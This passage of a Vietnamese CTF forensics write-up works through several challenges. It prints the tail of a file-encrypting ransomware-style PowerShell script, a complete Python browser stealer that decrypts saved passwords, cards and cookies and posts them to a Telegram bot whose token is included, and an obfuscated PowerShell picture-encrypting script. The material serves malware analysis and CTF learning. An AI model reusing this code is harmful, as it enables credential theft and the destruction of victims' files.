xlJkeyBytes.Length] } return [System.Text.Encoding]::UTF8.GetString(xlJoutputBytes)}xlJPCName = xlJenv:COMPUTERNAMExlJKey = XOR-String -InputString xlJPCName -Key 6zoUwU6zoxlJIV = XOR-String -InputString xlJPCName -Key 6zoXD6zoxlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey.PadRight(16).Substring(0,16))xlJivBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJIV.PadRight(16).Substring(0,16))function Encrypt-File { param([string]xlJInputFile, [string]xlJOutputFile) xlJaes = [System.Security.Cryptography.Aes]::Create() xlJaes.Key = xlJkeyBytes xlJaes.IV = xlJivBytes xlJencryptor = xlJaes.CreateEncryptor() xlJinputBytes = [System.IO.File]::ReadAllBytes(xlJInputFile) xlJencryptedBytes = xlJencryptor.TransformFinalBlock(xlJinputBytes, 0, xlJinputBytes.Length) [System.IO.File]::WriteAllBytes(xlJOutputFile, xlJencryptedBytes)}Get-ChildItem -File -Recurse CiE ForEach-Object { xlJinputFile = xlJ_.FullName xlJoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo Encrypt-File -InputFile xlJinputFile -OutputFile xlJoutputFile if (xlJ_.Extension -ne 6zo.cucked6zo) { Remove-Item -Path xlJinputFile -Force }}')-cReplaCe 'xlJ','$'-RepLAce '6zo','"' -RepLAce 'CiE','|')) ``` > Script này có hành vi giống ransomware: > Duyệt qua các tệp trong thư mục. > Mã hóa từng tệp bằng thuật toán AES với khóa và IV dựa trên tên máy tính. > Xóa tệp gốc để chỉ còn lại phiên bản mã hóa. > Phần còn lại xử lý như unintended solution ở trước. > --- ### 3. Invitation ![image](https://hackmd.io/_uploads/rkmWha9DJx.png) Bài cho mình 1 tệp nén chứa 1 số file, nhưng ta cần dùng lệnh `binwalk` thì mới có thể thấy được các file bên trong đó: ![image](https://hackmd.io/_uploads/BkTHp65Dyg.png) Trong folder pdf thì mình thấy có 1 file `.cmd`, mở lên nhìn qua thì tưởng là dữ liệu không đọc được, nhưng khi kéo sang thì mình thấy thông tin hữu ích sau: ![image](https://hackmd.io/_uploads/H1-E0p5DJe.png) Truy cập vào và mình có được file `.zip`, giải nén ra thì có được các file sau: ![image](https://hackmd.io/_uploads/SJSjAT5v1x.png) ```python= import base64 import json import os import shutil import sqlite3 from datetime import datetime, timedelta import requests from Crypto.Cipher import AES from win32crypt import CryptUnprotectData appdata = os.getenv('LOCALAPPDATA') browsers = { 'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'google-chrome-sxs': appdata + '\\Google\\Chrome SxS\\User Data', 'google-chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'microsoft-edge': appdata + '\\Microsoft\\Edge\\User Data', 'uran': appdata + '\\uCozMedia\\Uran\\User Data', 'yandex': appdata + '\\Yandex\\YandexBrowser\\User Data', 'brave': appdata + '\\BraveSoftware\\Brave-Browser\\User Data', 'iridium': appdata + '\\Iridium\\User Data', } data_queries = { 'login_data': { 'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True }, 'credit_cards': { 'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True }, 'cookies': { 'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True }, 'history': { 'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False }, 'downloads': { 'query': 'SELECT tab_url, target_path FROM downloads', 'file': '\\History', 'columns': ['Download URL', 'Local Path'], 'decrypt': False } } def get_master_key(path: str): if not os.path.exists(path): return if 'os_crypt' not in open(path + "\\Local State", 'r', encoding='utf-8').read(): return with open(path + "\\Local State", "r", encoding="utf-8") as f: c = f.read() local_state = json.loads(c) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] key = CryptUnprotectData(key, None, None, None, 0)[1] return key def decrypt_password(buff: bytes, key: bytes) -> str: iv = buff[3:15] payload = buff[15:] cipher = AES.new(key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass def save_results(browser_name, type_of_data, content): if not os.path.exists('C:/Users/Public/Snake/' + browser_name): os.mkdir('C:/Users/Public/Snake/' + browser_name) if content is not None: open(f'C:/Users/Public/Snake/{browser_name}/{type_of_data}.txt', 'w', encoding="utf-8").write(content) def get_data(path: str, profile: str, key, type_of_data): db_file = f'{path}\\{profile}{type_of_data["file"]}' if not os.path.exists(db_file): return result = "" shutil.copy(db_file, 'temp_db') conn = sqlite3.connect('temp_db') cursor = conn.cursor() cursor.execute(type_of_data['query']) for row in cursor.fetchall(): row = list(row) if type_of_data['decrypt']: for i in range(len(row)): if isinstance(row[i], bytes): row[i] = decrypt_password(row[i], key) if data_type_name == 'history': if row[2] != 0: row[2] = convert_chrome_time(row[2]) else: row[2] = "0" result += "\n".join([f"{col}: {val}" for col, val in zip(type_of_data['columns'], row)]) + "\n\n" conn.close() os.remove('temp_db') return result def convert_chrome_time(chrome_time): return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S') def installed_browsers(): available = [] for x in browsers.keys(): if os.path.exists(browsers[x]): available.append(x) return available if __name__ == '__main__': api = 'https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/sendDocument'; id = '5814016276' available_browsers = installed_browsers() for browser in available_browsers: browser_path = browsers[browser] master_key = get_master_key(browser_path) for data_type_name, data_type in data_queries.items(): data = get_data(browser_path, "Default", master_key, data_type) save_results(browser, data_type_name, data) with open(f'C:/Users/Public/Snake/{browser}/{data_type_name}.txt', "rb") as exfildat: requests.post(api, data={'caption': "------Exfiltrated Data------ \n Browser: " + browser + "\n Type: " + data_type_name,'chat_id': id}, files={'document': exfildat}) ``` Đọc qua các file, mình thấy được ở file `WindowsUpdate.py` có nội dung là của 1 con mã độc, đọc xuống dưới thì mình thấy nó gửi dữ liệu đã thu thập được đến bot Telegram qua API của Telegram: ```bash= api = 'https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/sendDocument' id = '5814016276' ``` Trước mình có gặp bài tương tự ở giải `WWCTF`, nên mình biết thêm tool: > https://github.com/soxoj/telegram-bot-dumper?tab=readme-ov-file Sử dụng tool này và mình có được cái tên với định dạng mã hóa khá quen thuộc: ![image](https://hackmd.io/_uploads/BJefNCqvkx.png) > Qk9UOiBLQ1NDe0V4RjFsVHJhdGkwbl8wdjNyX1QzTDNnckBtP30= ![image](https://hackmd.io/_uploads/S1HI4CcDyl.png) > Flag: KCSC{ExF1lTrati0n_0v3r_T3L3gr@m?} --- ### 4. Powershell 101 ![image](https://hackmd.io/_uploads/rkfo40cPye.png) Bài cho mình 1 file `.ps1` và 1 folder chứa các ảnh đã bị mã hóa, nội dung như sau: ```bash= IEX ([System.Text.Encoding]::UTF8.GetString(([system.convert]::FromBase64String("IHNlVC1WYVJJYUJsRSAgKCJneHEiKyJoIikgICggW3R5UEVdKCJ7OX17N317MX17M317Mn17NX17MH17MTB9ezh9ezR9ezZ9Ii1GJ0dSJywnY1VSJywnVHkuQ3JZJywnaScsJ0hFcicsJ3BUTycsJ21PZGUnLCd0RW0uU2UnLCdoWS5DaVAnLCdzWXMnLCdhUCcpKSA7ICAkNjBJND1bdFlwZV0oInswfXs2fXs4fXs3fXs0fXszfXsxfXsxMX17OX17NX17MTB9ezJ9IiAtZiAnc1lTVEUnLCdSeVB0TycsJ25HbU9ERScsJ0MnLCdDdVJJdHkuJywnYWQnLCdtLicsJ0UnLCdTJywnUCcsJ0RpJywnR1JhUGh5LicpIDsgICRXank4MSAgPSAgW3R5cGVdKCJ7MH17MX17Mn17M30iIC1mJ3NZcycsJ3RlbS5UZXh0JywnLmVuJywnQ29ESU5nJyk7ICBTZVQgKCJsYzNaIisiajgiKSAgKCAgW1RZUGVdKCJ7M317N317MH17OX17MX17Nn17NX17OH17Mn17NH0iLWYgJ09NUHJlc3NpT24uQycsJ1BSRScsJ01vJywnU1lzVEVtLmlvJywnZGUnLCdpbycsJ1NTJywnLmMnLCduJywnb00nKSkgIDsgc1YgIGFSejMgIChbVFlQZV0oIns0fXswfXsyfXsxfXszfSItZidUZU0uJywnVmVyJywnQ29OJywndCcsJ1NZUycpKSA7IHNFVCAgMFVwRTYgKCBbVFlQZV0oIns1fXsxfXszfXs3fXs2fXswfXsyfXs0fSIgLUYnRE9Xc0lERScsJy5zRWN1UklUWScsJ250JywnLlBSaW5jaScsJ0lUeScsJ1NZU3RFTScsJy5XSW4nLCdQYUwnKSApOyAgICAkVUxaMiAgPSAgW1R5UGVdKCJ7M317MH17MX17Mn0iIC1GICdlTScsJy5pTy5QJywnQXRIJywnU1lTdCcpOyBGdW5jdGlvbiBlbmBjUnlwdHtwYXJhbSgke2lgTkZ9LCAke29gVXRmfSk7JHthYGVTfSA9IC4oInsyfXsxfXswfSItZiAndCcsJ2MnLCdOZXctT2JqZScpICgiezV9ezB9ezR9ezF9ezh9ezN9ezd9ezExfXs2fXsxMH17Mn17OX0iIC1mJ3knLCd0JywncicsJ1NlY3VyaScsJ3MnLCdTJywncnlwJywndCcsJ2VtLicsJ2FwaHkuQWVzTWFuYWdlZCcsJ3RvZycsJ3kuQycpOyR7YWBlc30uIk1gb0RFIiA9ICAgKCAgZ0V0LUl0ZU0gKCd2QXJpYUJsZTpHJysneFEnKydoJykgICkudkFMdUU6OiJDYEJjIjske0FgRVN9LiJwQWRgRGBpTmciID0gICAoICBHRVQtaXRFTSBWYXJpQUJsRTo2MEk0ICApLlZBbHVlOjoiWmBlUm9TIjske0FgRVN9LiJiTE9DS2BzaWB6ZSIgPSAxMjg7JHtBYEVzfS4iS2BleVNgaXplIiA9IDI1Njske2FgZXN9LiJJYFYiID0gW2J5dGVbXV0gLXNwbGl0ICgoInswfXszfXsxfXs1fXs0fXsyfSItZiczZicsJzg0ODInLCczJywnNDUyJywnMycsJ2I0ZDYyNTE2NTUzNjg1NjZkNTk3MScpIC1yZXBsYWNlICcuLicsICgoJzAnKyd4amRRJiAnKS4icmVwYGxBYGNlIigoW2NIYVJdMTA2K1tjSGFSXTEwMCtbY0hhUl04MSksW3N0cmluZ11bY0hhUl0zNikrJycpKTske2FgRXN9LiJrYGVZIiA9IFtieXRlW11dIC1zcGxpdCAoKCJ7OX17NH17Mn17MTF9ezZ9ezV9ezh9ezN9ezF9ezEyfXs3fXsxMH17MH17MTN9IiAtZiAnNjEnLCc0MicsJzRhNDA0ZTYzNTI2NjU1NmE1OCcsJzIxNDEyNTQnLCcyOScsJzQ3NTM3JywnMzI3MjMnLCc0JywnNzgnLCc0MzI2NDYnLCc3MmQ0YicsJzZlJywnYScsJzUwNjQ1MycpIC1yZXBsYWNlICcuLicsICgoKCcweCcrJ25BYiYnKycgJyktY3JlcGxhQ0UgICduQWInLFtjSGFSXTM2KSsnJykpOyR7RWBOY2BSeVB0T3J9ID0gJHthYGVTfS4oInswfXs0fXszfXsyfXsxfSIgLWYgJ0NyZWF0ZScsJ3lwdG9yJywncicsJ2MnLCdFbicpLkludm9rZSgpOyR7cGxgQWBJYE5fMl9CeXRlfSA9IC4oInsyfXsxfXswfXszfSIgLWYnQ29udGUnLCd0LScsJ0dlJywnbnQnKSAtUGF0aCAke2lgTmZ9IC1FbmNvZGluZyAoInsxfXswfSIgLWYneXRlJywnQicpOyR7RW5jUmBZUGBUZURfdEV4dH0gPSAke2VgTkNyYHlQYFRPcn0uKCJ7MX17M317MH17Mn0iLWYgJ3JtRicsJ1RyYW5zZicsJ2luYWxCbG9jaycsJ28nKS5JbnZva2UoJHtwYGxhSW5fMmBfYEJZVEV9LCAwLCAke1BMQUluYF9gMl9ieXRlfS4iTGBlTkdUSCIpOyR7YWBFc30uKCJ7MH17MX17Mn0iLWYgJ0RpcycsJ3BvJywnc2UnKS5JbnZva2UoKTske0JgNjR9ID0gKCAgJGFSejM6OiJ0b2JhYFNlNmA0U3RyYEluZyIoJHtFYE5DUnlwdGBlYERgX3RFWHR9KSk7JHtiNjRgX0dlVGJZYFRlU30gPSAoICRXSnk4MTo6IlV0YEY4IikuKCJ7MH17Mn17MX0iLWYgJ0dldCcsJ2VzJywnQnl0JykuSW52b2tlKCR7YmA2NH0pOyR7TUVgbW9yeXNUUmBFYU19ID0gLigiezF9ezJ9ezB9IiAtZidPYmplY3QnLCdOJywnZXctJykgKCJ7Mn17NH17Nn17MH17NX17MX17M30iLWYnLklPLk0nLCdtb3J5U3QnLCdTJywncmVhbScsJ3lzdGUnLCdlJywnbScpOyR7REVGTEFgVGVgU3RgUmVgQW19ID0gJigiezJ9ezF9ezB9Ii1mJ2N0JywnYmplJywnTmV3LU8nKSAoIns3fXs5fXs1fXs2fXszfXs4fXsxMH17MX17MH17Mn17NH0iLWYgJ2VmbGF0ZVN0cicsJ24uRCcsJ2VhJywnSU8uQycsJ20nLCdlJywnbS4nLCdTeScsJ29tcCcsJ3N0JywncmVzc2lvJykoJHtNRW1PYFJ5U3RgUmVBbX0sICAoICBjSElMRGl0ZU0gKCJWIisiQXJJYWJMIisiZToiKyJsQzNaIisiajgiKSAgKS5WQWxVZTo6ImNvbWBwUmVTcyIsICR7dGBSVWV9KTske2RlZmxBYFRgZWBzYFRyZUFNfS4oInsxfXswfSItZidpdGUnLCdXcicpLkludm9rZSgke0I2NF9gZ2BlVGJ5YFRlU30sIDAsICR7QjY0YF9nRWBUYllUYEVTfS4iTGBFbmBnVEgiKTske0RgRWZMYWBURVN0UkVBTX0uKCJ7MH17MX0iLWYnRmx1cycsJ2gnKS5JbnZva2UoKTske2RFZmxgQVRlYHNgVFJlQU19LigiezF9ezB9IiAtZidzZScsJ0NsbycpLkludm9rZSgpOyR7Q29NcGBSYEVgU3NlZF9gRGF0QX0gPSAoICAkQXJ6Mzo6IlRvYEJgQXNgZTY0c3RyaW5HIigke21lTU9SYFlzYFRyRWBBTX0uKCJ7MX17MH0iIC1mJ3JyYXknLCdUb0EnKS5JbnZva2UoKSkpOy4oInsxfXszfXswfXsyfSIgLWYgJ3UnLCdXcml0ZS0nLCd0cHV0JywnTycpICgke0NgT2BtUFJlU2BzZWRfREFgVEF9KSB8ICYoInsxfXsyfXswfSIgLWYnLWZpbGUnLCdPJywndXQnKSAtZmlsZXBhdGggJHtPdWBURn07fTske059ID0gKCAgJDBVcGU2OjooInszfXsxfXsyfXswfSItZiAnZW50JywnZXRDdScsJ3JyJywnRycpLkludm9rZSgpLiJOYEFtRSIpLigiezF9ezJ9ezB9IiAtZiAnZycsJ1MnLCd1YnN0cmluJykuSW52b2tlKDE2KTske1p9ID0gLigiezB9ezF9ezN9ezJ9IiAtZidnZXQnLCctY2hpbGRpJywnZW0nLCd0JykgLXBhdGggKCgoKCJ7MH17Mn17MX17NH17M30iIC1mJ0M6THQnLCdMJywnR1VzZXJzJywnRycsJ3QnKSktQ1JlUExBQ0UgICdMdEcnLFtDaGFSXTkyKSArICAke059ICsgKCgoIns0fXs1fXsxfXs2fXszfXswfXsyfSItZiAnUGljdHVyZScsJ3ZlJywncycsJ0lwJywncUlwT25lJywnRHJpJywncScpKS1SZVBMQWNFICdxSXAnLFtDaGFyXTkyKSkgLXJlY3Vyc2UgfCAmKCJ7MH17MX0iLWYgJ3doZScsJ3JlJykgeyR7X30uImV4YFRlYE5TaW9uIiAtaW4gKCJ7MH17MX0iLWYgJy5qcCcsJ2cnKSwgKCJ7MX17MH0iIC1mJ25nJywnLnAnKSwgKCJ7MX17MH0iIC1mJ2VnJywnanAnKSwgJ2JtcCd9IHwgLigiezB9ezN9ezF9ezJ9Ii1mICdTZWxlJywnYmplJywnY3QnLCdjdC1PJykgLUV4cGFuZFByb3BlcnR5ICgiezB9ezF9ezJ9IiAtZiAnRnVsbCcsJ05hJywnbWUnKTtmb3JlYWNoKCR7U30gaW4gJHtafSl7JHtQYEFSZW5URGBpUmVjdE9SWU5gQU1lfSA9ICgmKCJ7MH17Mn17MX0iLWYgJ2dldC0nLCdtJywnaXRlJykgJHtTfSkuImRpckVDdGBvYFJ5Ii4iZlVMYGxOYWBtRSI7JHtOQWBtZWBXb2VYVH0gPSAgICggIEdldC12QVJJYUJMZSBVbFoyIC1WYUwgKTo6KCJ7MH17N317MX17Mn17NX17Nn17NH17M30iIC1mICdHZXQnLCdhbWV3JywnaXQnLCdpb24nLCd0ZW5zJywnaG91dCcsJ0V4JywnRmlsZW4nKS5JbnZva2UoJHtTfSk7JHtPYEZsfSA9ICR7UGFyYGVOVGRJUmVjVE9gUnlgTmBBYE1lfSsnXCcrJHtOYWBtZXdvRWB4dH0rKCJ7MX17MH0iLWYgJ25jJywnLmUnKTsmKCJ7MX17MH17Mn0iIC1mJ2NyeScsJ0VuJywncHQnKSAke1N9ICR7T2BGTH07Ligncm0nKSAtZm8gJHtzfX0=")))) ``` Có thể thấy được script chính của ta đã bị mã hóa base 64, tách đoạn đó và decode, mình có được script thật: ```bash= seT-VaRIaBlE ("gxq"+"h") ( [tyPE]("{9}{7}{1}{3}{2}{5}{0}{10}{8}{4}{6}"-F'GR','cUR','Ty.CrY','i','HEr','pTO','mOde','tEm.Se','hY.CiP','sYs','aP')) ; $60I4=[tYpe]("{0}{6}{8}{7}{4}{3}{1}{11}{9}{5}{10}{2}" -f 'sYSTE','RyPtO','nGmODE','C','CuRIty.','ad','m.','E','S','P','Di','GRaPhy.') ; $Wjy81 = [type]("{0}{1}{2}{3}" -f'sYs','tem.Text','.en','CoDINg'); SeT ("lc3Z"+"j8") ( [TYPe]("{3}{7}{0}{9}{1}{6}{5}{8}{2}{4}"-f 'OMPressiOn.C','PRE','Mo','SYsTEm.io','de','io','SS','.c','n','oM')) ; sV aRz3 ([TYPe]("{4}{0}{2}{1}{3}"-f'TeM.','Ver','CoN','t','SYS')) ; sET 0UpE6 ( [TYPe]("{5}{1}{3}{7}{6}{0}{2}{4}" -F'DOWsIDE','.sEcuRITY','nt','.PRinci','ITy','SYStEM','.WIn','PaL') ); $ULZ2 = [TyPe]("{3}{0}{1}{2}" -F 'eM','.iO.P','AtH','SYSt'); Function en`cRypt{param(${i`NF}, ${o`Utf});${a`eS} = .("{2}{1}{0}"-f 't','c','New-Obje') ("{5}{0}{4}{1}{8}{3}{7}{11}{6}{10}{2}{9}" -f'y','t','r','Securi','s','S','ryp','t','em.','aphy.AesManaged','tog','y.C');${a`es}."M`oDE" = ( gEt-IteM ('vAriaBle:G'+'xQ'+'h') ).vALuE::"C`Bc";${A`ES}."pAd`D`iNg" = ( GET-itEM VariABlE:60I4 ).VAlue::"Z`eRoS";${A`ES}."bLOCK`si`ze" = 128;${A`Es}."K`eyS`ize" = 256;${a`es}."I`V" = [byte[]] -split (("{0}{3}{1}{5}{4}{2}"-f'3f','8482','3','452','3','b4d6251655368566d5971') -replace '..', (('0'+'xjdQ& ')."rep`lA`ce"(([cHaR]106+[cHaR]100+[cHaR]81),[string][cHaR]36)+''));${a`Es}."k`eY" = [byte[]] -split (("{9}{4}{2}{11}{6}{5}{8}{3}{1}{12}{7}{10}{0}{13}" -f '61','42','4a404e635266556a58','2141254','29','47537','32723','4','78','432646','72d4b','6e','a','506453') -replace '..', ((('0x'+'nAb&'+' ')-creplaCE 'nAb',[cHaR]36)+''));${E`Nc`RyPtOr} = ${a`eS}.("{0}{4}{3}{2}{1}" -f 'Create','yptor','r','c','En').Invoke();${pl`A`I`N_2_Byte} = .("{2}{1}{0}{3}" -f'Conte','t-','Ge','nt') -Path ${i`Nf} -Encoding ("{1}{0}" -f'yte','B');${EncR`YP`TeD_tExt} = ${e`NCr`yP`TOr}.("{1}{3}{0}{2}"-f 'rmF','Transf','inalBlock','o').Invoke(${p`laIn_2`_`BYTE}, 0, ${PLAIn`_`2_byte}."L`eNGTH");${a`Es}.("{0}{1}{2}"-f 'Dis','po','se').Invoke();${B`64} = ( $aRz3::"toba`Se6`4Str`Ing"(${E`NCRypt`e`D`_tEXt}));${b64`_GeTbY`TeS} = ( $WJy81::"Ut`F8").("{0}{2}{1}"-f 'Get','es','Byt').Invoke(${b`64});${ME`morysTR`EaM} = .("{1}{2}{0}" -f'Object','N','ew-') ("{2}{4}{6}{0}{5}{1}{3}"-f'.IO.M','morySt','S','ream','yste','e','m');${DEFLA`Te`St`Re`Am} = &("{2}{1}{0}"-f'ct','bje','New-O') ("{7}{9}{5}{6}{3}{8}{10}{1}{0}{2}{4}"-f 'eflateStr','n.D','ea','IO.C','m','e','m.','Sy','omp','st','ressio')(${MEmO`RySt`ReAm}, ( cHILDiteM ("V"+"ArIabL"+"e:"+"lC3Z"+"j8") ).VAlUe::"com`pReSs", ${t`RUe});${deflA`T`e`s`TreAM}.("{1}{0}"-f'ite','Wr').Invoke(${B64_`g`eTby`TeS}, 0, ${B64`_gE`TbYT`ES}."L`En`gTH");${D`EfLa`TEStREAM}.("{0}{1}"-f'Flus','h').Invoke();${dEfl`ATe`s`TReAM}.("{1}{0}" -f'se','Clo').Invoke();${CoMp`R`E`Ssed_`DatA} = ( $Arz3::"To`B`As`e64strinG"(${meMOR`Ys`TrE`AM}.("{1}{0}" -f'rray','ToA').Invoke()));.("{1}{3}{0}{2}" -f 'u','Write-','tput','O') (${C`O`mPReS`sed_DA`TA}) | &("{1}{2}{0}" -f'-file','O','ut') -filepath ${Ou`TF};};${N} = ( $0Upe6::("{3}{1}{2}{0}"-f 'ent','etCu','rr','G').Invoke()."N`AmE").("{1}{2}{0}" -f 'g','S','ubstrin').Invoke(16);${Z} = .("{0}{1}{3}{2}" -f'get','-childi','em','t') -path (((("{0}{2}{1}{4}{3}" -f'C:Lt','L','GUsers','G','t'))-CRePLACE 'LtG',[ChaR]92) + ${N} + ((("{4}{5}{1}{6}{3}{0}{2}"-f 'Picture','ve','s','Ip','qIpOne','Dri','q'))-RePLAcE 'qIp',[Char]92)) -recurse | &("{0}{1}"-f 'whe','re') {${_}."ex`Te`NSion" -in ("{0}{1}"-f '.jp','g'), ("{1}{0}" -f'ng','.p'), ("{1}{0}" -f'eg','jp'), 'bmp'} | .("{0}{3}{1}{2}"-f 'Sele','bje','ct','ct-O') -ExpandProperty ("{0}{1}{2}" -f 'Full','Na','me');foreach(${S} in ${Z}){${P`ARenTD`iRectORYN`AMe} = (&("{0}{2}{1}"-f 'get-','m','ite') ${S})."dirECt`o`Ry"."fUL`lNa`mE";${NA`me`WoeXT} = ( Get-vARIaBLe UlZ2 -VaL )::("{0}{7}{1}{2}{5}{6}{4}{3}" -f 'Get','amew','it','ion','tens','hout','Ex','Filen').Invoke(${S});${O`Fl} = ${Par`eNTdIRecTO`Ry`N`A`Me}+'\'+${Na`mewoE`xt}+("{1}{0}"-f 'nc','.e');&("{1}{0}{2}" -f'cry','En','pt') ${S} ${O`FL};.('rm') -fo ${s}} ``` Tuy nhiên thì đoạn mã này bị obfusacte, để dễ đọc hơn, mình sử dụng tool này: > https://github.com/Malandrone/PowerDecode Đoạn mã sau khi đã được gỡ rối: ```bash= ______ ______ _ | ___ \ | _ \ | | | |_/ /____ _____ _ __| | | |___ ___ ___ __| | ___ | __/ _ \ \ /\ / / _ \ '__| | | / _ \/ __/ _ \ / _` |/ _ \ | | | (_) \ V V / __/ | | |/ / __/ (_| (_) | (_| | __/ \_| \___/ \_/\_/ \___|_| |___/ \___|\___\___/ \__,_|\___| PowerShell Script Decoder Layer 1 - Obfuscation type: String-Based seT-VaRIaBlE ("gxq"+"h") ( [tyPE]("{9}{7}{1}{3}{2}{5}{0}{10}{8}{4}{6}"-F'GR','cUR','Ty.CrY','i','HEr','pTO','mOde','tEm.Se','hY.CiP','sYs','aP')) ; $60I4=[tYpe]("{0}{6}{8}{7}{4}{3}{1}{11}{9}{5}{10}{2}" -f 'sYSTE','RyPtO','nGmODE','C','CuRIty.','ad','m.','E','S','P','Di','GRaPhy.') ; $Wjy81 = [type]("{0}{1}{2}{3}" -f'sYs','tem.Text','.en','CoDINg'); SeT ("lc3Z"+"j8") ( [TYPe]("{3}{7}{0}{9}{1}{6}{5}{8}{2}{4}"-f 'OMPressiOn.C','PRE','Mo','SYsTEm.io','de','io','SS','.c','n','oM')) ; sV aRz3 ([TYPe]("{4}{0}{2}{1}{3}"-f'TeM.','Ver','CoN','t','SYS')) ; sET 0UpE6 ( [TYPe]("{5}{1}{3}{7}{6}{0}{2}{4}" -F'DOWsIDE','.sEcuRITY','nt','.PRinci','ITy','SYStEM','.WIn','PaL') ); $ULZ2 = [TyPe]("{3}{0}{1}{2}" -F 'eM','.iO.P','AtH','SYSt'); Function en`cRypt{param(${i`NF}, ${o`Utf});${a`eS} = .("{2}{1}{0}"-f 't','c','New-Obje') ("{5}{0}{4}{1}{8}{3}{7}{11}{6}{10}{2}{9}" -f'y','t','r','Securi','s','S','ryp','t','em.','aphy.AesManaged','tog','y.C');${a`es}."M`oDE" = ( gEt-IteM ('vAriaBle:G'+'xQ'+'h') ).vALuE::"C`Bc";${A`ES}."pAd`D`iNg" = ( GET-itEM VariABlE:60I4 ).VAlue::"Z`eRoS";${A`ES}."bLOCK`si`ze" = 128;${A`Es}."K`eyS`ize" = 256;${a`es}."I`V" = [byte[]] -split (("{0}{3}{1}{5}{4}{2}"-f'3f','8482','3','452','3','b4d6251655368566d5971') -replace '..', (('0'+'xjdQ& ')."rep`lA`ce"(([cHaR]106+[cHaR]100+[cHaR]81),[string][cHaR]36)+''));${a`Es}."k`eY" = [byte[]] -split (("{9}{4}{2}{11}{6}{5}{8}{3}{1}{12}{7}{10}{0}{13}" -f '61','42','4a404e635266556a58','2141254','29','47537','32723','4','78','432646','72d4b','6e','a','506453') -replace '..', ((('0x'+'nAb&'+' ')-creplaCE 'nAb',[cHaR]36)+''));${E`Nc`RyPtOr} = ${a`eS}.("{0}{4}{3}{2}{1}" -f 'Create','yptor','r','c','En').Invoke();${pl`A`I`N_2_Byte} = .("{2}{1}{0}{3}" -f'Conte','t-','Ge','nt') -Path ${i`Nf} -Encoding ("{1}{0}" -f'yte','B');${EncR`YP`TeD_tExt} = ${e`NCr`yP`TOr}.("{1}{3}{0}{2}"-f 'rmF','Transf','inalBlock','o').Invoke(${p`laIn_2`_`BYTE}, 0, ${PLAIn`_`2_byte}."L`eNGTH");${a`Es}.("{0}{1}{2}"-f 'Dis','po','se').Invoke();${B`64} = ( $aRz3::"toba`Se6`4Str`Ing"(${E`NCRypt`e`D`_tEXt}));${b64`_GeTbY`TeS} = ( $WJy81::"Ut`F8").("{0}{2}{1}"-f 'Get','es','Byt').Invoke(${b`64});${ME`morysTR`EaM} = .("{1}{2}{0}" -f'Object','N','ew-') ("{2}{4}{6}{0}{5}{1}{3}"-f'.IO.M','morySt','S','ream','yste','e','m');${DEFLA`Te`St`Re`Am} = &("{2}{1}{0}"-f'ct','bje','New-O') ("{7}{9}{5}{6}{3}{8}{10}{1}{0}{2}{4}"-f 'eflateStr','n.D','ea','IO.C','m','e','m.','Sy','omp','st','ressio')(${MEmO`RySt`ReAm}, ( cHILDiteM ("V"+"ArIabL"+"e:"+"lC3Z"+"j8") ).VAlUe::"com`pReSs", ${t`RUe});${deflA`T`e`s`TreAM}.("{1}{0}"-f'ite','Wr').Invoke(${B64_`g`eTby`TeS}, 0, ${B64`_gE`TbYT`ES}."L`En`gTH");${D`EfLa`TEStREAM}.("{0}{1}"-f'Flus','h').Invoke();${dEfl`ATe`s`TReAM}.("{1}{0}" -f'se','Clo').Invoke();${CoMp`R`E`Ssed_`DatA} = ( $Arz3::"To`B`As`e64strinG"(${meMOR`Ys`TrE`AM}.("{1}{0}" -f'rray','ToA').Invoke()));.("{1}{3}{0}{2}" -f 'u','Write-','tput','O') (${C`O`mPReS`sed_DA`TA}) | &("{1}{2}{0}" -f'-file','O','ut') -filepath ${Ou`TF};};${N} = ( $0Upe6::("{3}{1}{2}{0}"-f 'ent','etCu','rr','G').Invoke()."N`AmE").("{1}{2}{0}" -f 'g','S','ubstrin').Invoke(16);${Z} = .("{0}{1}{3}{2}" -f'get','-childi','em','t') -path (((("{0}{2}{1}{4}{3}" -f'C:Lt','L','GUsers','G','t'))-CRePLACE 'LtG',[ChaR]92) + ${N} + ((("{4}{5}{1}{6}{3}{0}{2}"-f 'Picture','ve','s','Ip','qIpOne','Dri','q'))-RePLAcE 'qIp',[Char]92)) -recurse | &("{0}{1}"-f 'whe','re') {${_}."ex`Te`NSion" -in ("{0}{1}"-f '.jp','g'), ("{1}{0}" -f'ng','.p'), ("{1}{0}" -f'eg','jp'), 'bmp'} | .("{0}{3}{1}{2}"-f 'Sele','bje','ct','ct-O') -ExpandProperty ("{0}{1}{2}" -f 'Full','Na','me');foreach(${S} in ${Z}){${P`ARenTD`iRectORYN`AMe} = (&("{0}{2}{1}"-f 'get-','m','ite') ${S})."dirECt`o`Ry"."fUL`lNa`mE";${NA`me`WoeXT} = ( Get-vARIaBLe UlZ2 -VaL 